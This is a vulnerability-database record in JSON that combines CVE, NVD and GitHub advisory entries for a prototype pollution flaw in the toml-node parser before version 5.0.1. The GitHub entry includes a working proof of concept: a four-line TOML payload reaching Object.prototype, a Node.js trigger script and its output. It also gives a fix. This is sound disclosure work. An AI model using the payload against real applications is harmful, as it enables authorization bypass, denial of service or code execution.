{"id":"GHSA-h895-cgqg-jf52","revision":null,"records":[{"revision":"2bd803f93eb44d648733e361c9ae39f3","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-114142","aliases":[],"title":"toml-node: Prototype pollution: parsing a TOML document can write to Object.prototype","description":"toml-node is a TOML parser for Node.js and the browser. Prior to 5.0.1, toml.parse() can write attacker-controlled properties to Object.prototype because quoteDottedString() in lib/compiler.js produces the same bookkeeping string for distinct quoted key paths, allowing addTableArray() to clear another key's guard. The assign() path then descends through an unowned Date value without applying the owned-container check and can reach the prototype chain. Objects created elsewhere in the process can inherit the injected property. This issue is fixed in version 5.0.1.","state":0,"publishedAt":"2026-10-21T20:28:36.615+00:00","modifiedAt":"2026-10-21T20:28:36.615+00:00","affected":[{"ecosystem":"Vendor product","name":"toml-node","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"BinaryMuse\",\n                    \"product\": \"toml-node\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 5.0.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.8,"severity":"HIGH"}],"references":["https://github.com/BinaryMuse/toml-node/security/advisories/GHSA-h895-cgqg-jf52","https://github.com/BinaryMuse/toml-node/commit/609c873fffea0a27ebe5b4dd098eed2b3daf3606","https://github.com/BinaryMuse/toml-node/releases/tag/v5.0.1"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-114142","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-114142","identifiers":["CVE-2026-114142"]},"retained":false,"historicalAffected":[]},{"revision":"72a6a4d3f88e4a098eee533c9c8c4cda","observedAt":"2026-10-25T05:17:18.597+00:00","statement":{"source":"nvd","id":"CVE-2026-114142","aliases":[],"title":"toml-node is a TOML parser for Node.js and the browser. Prior to 5.0.1, toml.parse() can write attacker-controlled properties to Object.prototype because quoteDottedString() in lib/compiler.js produces the same bookkeeping string for distin…","description":"toml-node is a TOML parser for Node.js and the browser. Prior to 5.0.1, toml.parse() can write attacker-controlled properties to Object.prototype because quoteDottedString() in lib/compiler.js produces the same bookkeeping string for distinct quoted key paths, allowing addTableArray() to clear another key's guard. The assign() path then descends through an unowned Date value without applying the owned-container check and can reach the prototype chain. Objects created elsewhere in the process can inherit the injected property. This issue is fixed in version 5.0.1.","state":0,"publishedAt":"2026-10-21T21:17:56.82+00:00","modifiedAt":"2026-10-22T16:48:25.42+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":8.8,"severity":"HIGH"}],"references":["https://github.com/BinaryMuse/toml-node/commit/609c873fffea0a27ebe5b4dd098eed2b3daf3606","https://github.com/BinaryMuse/toml-node/releases/tag/v5.0.1","https://github.com/BinaryMuse/toml-node/security/advisories/GHSA-h895-cgqg-jf52"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114142","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-1321"],"productCriteria":[],"sourceDates":{"published":"2026-10-21T21:17:56.820","lastModified":"2026-10-22T16:48:25.420"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-114142","identifiers":["CVE-2026-114142"]},"retained":false,"historicalAffected":[]},{"revision":"79cd4eb9524f41a1928b458c94b936b2","observedAt":"2026-10-26T15:35:41.018+00:00","statement":{"source":"osv","id":"GHSA-h895-cgqg-jf52","aliases":["CVE-2026-114142"],"title":"toml-node: Prototype pollution: parsing a TOML document can write to Object.prototype","description":"### Summary\nCVE-2026-63376 described prototype pollution through __proto__ key-path desynchronization and was fixed in 4.1.2 by rewriting the path bookkeeping and adding an ownedContainers WeakSet. The desynchronization is still reachable, spelled with a quote character instead of a dot, and the owned-container check is not applied on the path that matters.\n\nA four-line TOML document parsed with toml.parse() writes a property onto Object.prototype, where it is visible to every object in the process — including objects produced by unrelated libraries.\n\n### Details\nThree gaps compose. All line numbers are `lib/compiler.js` in 5.0.0.\n\n**1. The path-key encoding is ambiguous.** `quoteDottedString()` quotes a segment only when it contains a `.`, and never escapes a `\"` inside the segment:\n\n```js\n287:  function quoteDottedString(str) {\n288:    if (str.indexOf(\".\") > -1) {\n289:      return \"\\\"\" + str + \"\\\"\";\n290:    } else {\n291:      return str;\n292:    }\n293:  }\n```\n\nSo the key path `['x.y']` and the key path `['\"x', 'y\"']` both render as the string `\"x.y\"`. This is the same desynchronization CVE-2026-63376 named, with a quote in place of the dot.\n\n**2. A table-array header can clear another key's guard.** `addTableArray()` walks `assignedPaths` / `valueAssignments` with `isSameOrSubPath()` over those ambiguous strings, so a header whose rendered path collides with an unrelated key deletes that key's entry.\n\n**3. The descent in `assign()` has no owned-container check.** `deepRef()` applies `isOwnedContainer()` only to intermediate segments (`lib/compiler.js:265`, `:273`) and returns the final container unchecked. `assign()` then walks it with only a shape test:\n\n```js\n 93:      target = target[k];\n...\n103:    target[lastKey] = reduced;\n```\n\nA TOML datetime is a `Date`. It satisfies `typeof target[k] === \"object\"` and is not an array, so the walk descends into it — and a `Date` has a live prototype chain to `Object.prototype`.\n\nPutting the three together, a document can make the current table a `Date` and then walk `__proto__.__proto__` to `Object.prototype`.\n\n```bash\nmkdir poc && cd poc && npm init -y >/dev/null && npm install toml@5.0.0\n```\n\n```toml\n# poc.toml\n\"b.c\" = 1979-05-27T07:32:00Z\n[['\"b']]\n[\"b.c\"]\n__proto__.__proto__.polluted = \"yes\"\n```\n\nLine 1 defines a key whose rendered path is `\"b.c\"` and whose value is a `Date`.\nLine 2 is a table-array header whose rendered path collides with it, clearing its guard.\nLine 3 re-enters that key, so the current table is now the `Date`.\nLine 4 walks `Date` → `Date.prototype` → `Object.prototype`.\n\n```js\n// poc.js\nconst toml = require('toml');\nconst fs = require('fs');\n\nconsole.log('before:', JSON.stringify(({}).polluted));\ntoml.parse(fs.readFileSync('poc.toml', 'utf8'));\nconsole.log('after: ', JSON.stringify(({}).polluted));\nconsole.log('Object.prototype.hasOwnProperty(\"polluted\") =', Object.prototype.hasOwnProperty('polluted'));\nconsole.log('JSON.parse(\"{}\").polluted =', JSON.stringify(JSON.parse('{}').polluted));\n```\n\n```\n$ node poc.js\nbefore: undefined\nafter:  \"yes\"\nObject.prototype.hasOwnProperty(\"polluted\") = true\nJSON.parse(\"{}\").polluted = \"yes\"\n```\n\nThe payload sets a single harmless marker property. The last line shows the property is visible on an object this code never touched.\n\nA useful control: the same document without line 2 (the guard-clearing header) is correctly rejected on 4.1.2 and later, which confirms the clearing step is what is load-bearing.\n\n### Impact\n\nAny application that parses a TOML document from an untrusted source is affected — a configuration file uploaded by a user, a manifest from a third-party package or repository, a document posted to an API. Prototype pollution of this kind commonly escalates to authentication or authorization bypass, denial of service, and in applications with a suitable gadget, remote code execution, because every object in the process inherits the injected property.\n\nSuggested fix: in `assign()`, apply the same check the intermediate descent already uses — after `target = target[k]`, reject when `!isOwnedContainer(target)`. Equivalently, apply `isOwnedContainer` to the value `deepRef()` returns. Separately, `quoteDottedString()` should escape `\"` inside a segment so that distinct key paths cannot render to the same string.","state":0,"publishedAt":"2026-10-22T16:39:55+00:00","modifiedAt":"2026-10-26T14:45:05.6819719+00:00","affected":[{"ecosystem":"npm","name":"toml","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"5.0.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/BinaryMuse/toml-node/security/advisories/GHSA-h895-cgqg-jf52","https://nvd.nist.gov/vuln/detail/CVE-2026-114142","https://github.com/BinaryMuse/toml-node/commit/609c873fffea0a27ebe5b4dd098eed2b3daf3606","https://github.com/BinaryMuse/toml-node","https://github.com/BinaryMuse/toml-node/releases/tag/v5.0.1"],"sourceUrl":"https://github.com/advisories/GHSA-h895-cgqg-jf52","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-h895-cgqg-jf52","identifiers":["GHSA-h895-cgqg-jf52","CVE-2026-114142"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-27T20:48:09.9692362+00:00","complete":true,"records":1760,"lastAttemptAt":"2026-10-27T20:48:09.9692362+00:00","lastSuccessAt":"2026-10-27T20:48:10.1578925+00:00","error":null,"lastVerifiedAt":"2026-10-27T20:48:10.1578958+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-187d2b72c94ceb8c4417f1032ec3109a3a3a7b730abadb561d8cdd2a96e04d27-ebf95495d6eb881f8b067ddd773be3fb9c76802f41c3f1e1e37592a594c6242b","complete":true,"records":415377,"lastAttemptAt":"2026-10-27T20:46:09.6211502+00:00","lastSuccessAt":"2026-10-27T20:46:09.5259509+00:00","error":null,"lastVerifiedAt":"2026-10-27T20:46:09.6211502+00:00","snapshotPublishedAt":"2026-10-27T20:26:30+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-adf88d03cfd2403d9823e6e6e47cec69","complete":false,"records":6234,"lastAttemptAt":"2026-10-27T21:00:12.1359803+00:00","lastSuccessAt":"2026-10-27T21:00:12.131+00:00","error":null,"lastVerifiedAt":"2026-10-27T21:00:12.131+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":1500,"expectedIdentifiers":13504,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-27T20:48:09.9692362+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-27T20:48:09.9692362+00:00","lastSuccessAt":"2026-10-27T20:48:10.1586828+00:00","error":null,"lastVerifiedAt":"2026-10-27T20:48:10.158683+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-b6ebcde970374b7b95ff7d325ce5598d","complete":true,"records":13441,"lastAttemptAt":"2026-10-27T20:48:11.55355+00:00","lastSuccessAt":"2026-10-27T20:48:11.549+00:00","error":null,"lastVerifiedAt":"2026-10-27T20:48:11.549+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13504,"expectedIdentifiers":13504,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0a9352f15ff9b42ef0668815b17985da54b0862a5d24cb9a13f2a99c14c0f811","complete":true,"records":9785,"lastAttemptAt":"2026-10-27T20:48:09.9022984+00:00","lastSuccessAt":"2026-10-27T19:48:19.7606489+00:00","error":null,"lastVerifiedAt":"2026-10-27T20:48:09.9022984+00:00","snapshotPublishedAt":"2026-10-27T19:18:07+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-bad5d31e7f6a5e3d338e11d8789069b63620a403f927730769688b42f768e4f6","complete":true,"records":1965,"lastAttemptAt":"2026-10-27T20:46:09.6864805+00:00","lastSuccessAt":"2026-10-26T16:35:43.1460623+00:00","error":null,"lastVerifiedAt":"2026-10-27T20:46:09.6864805+00:00","snapshotPublishedAt":"2026-10-26T16:18:29+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-3a5b306d60fc44677a03a8afc99d87e6c5402770ef68d560f94a8c3ad3802b75","complete":true,"records":3001,"lastAttemptAt":"2026-10-27T20:48:09.931048+00:00","lastSuccessAt":"2026-10-27T16:45:49.0050993+00:00","error":null,"lastVerifiedAt":"2026-10-27T20:48:09.931048+00:00","snapshotPublishedAt":"2026-10-27T16:33:43+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-56d666cf8e7e535b1c609d0528ef336d3e0aa5628f907dd300100f6ed680e276","complete":true,"records":230840,"lastAttemptAt":"2026-10-27T20:48:09.7570686+00:00","lastSuccessAt":"2026-10-27T20:48:08.3443263+00:00","error":null,"lastVerifiedAt":"2026-10-27T20:48:09.7570686+00:00","snapshotPublishedAt":"2026-10-27T20:33:24+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}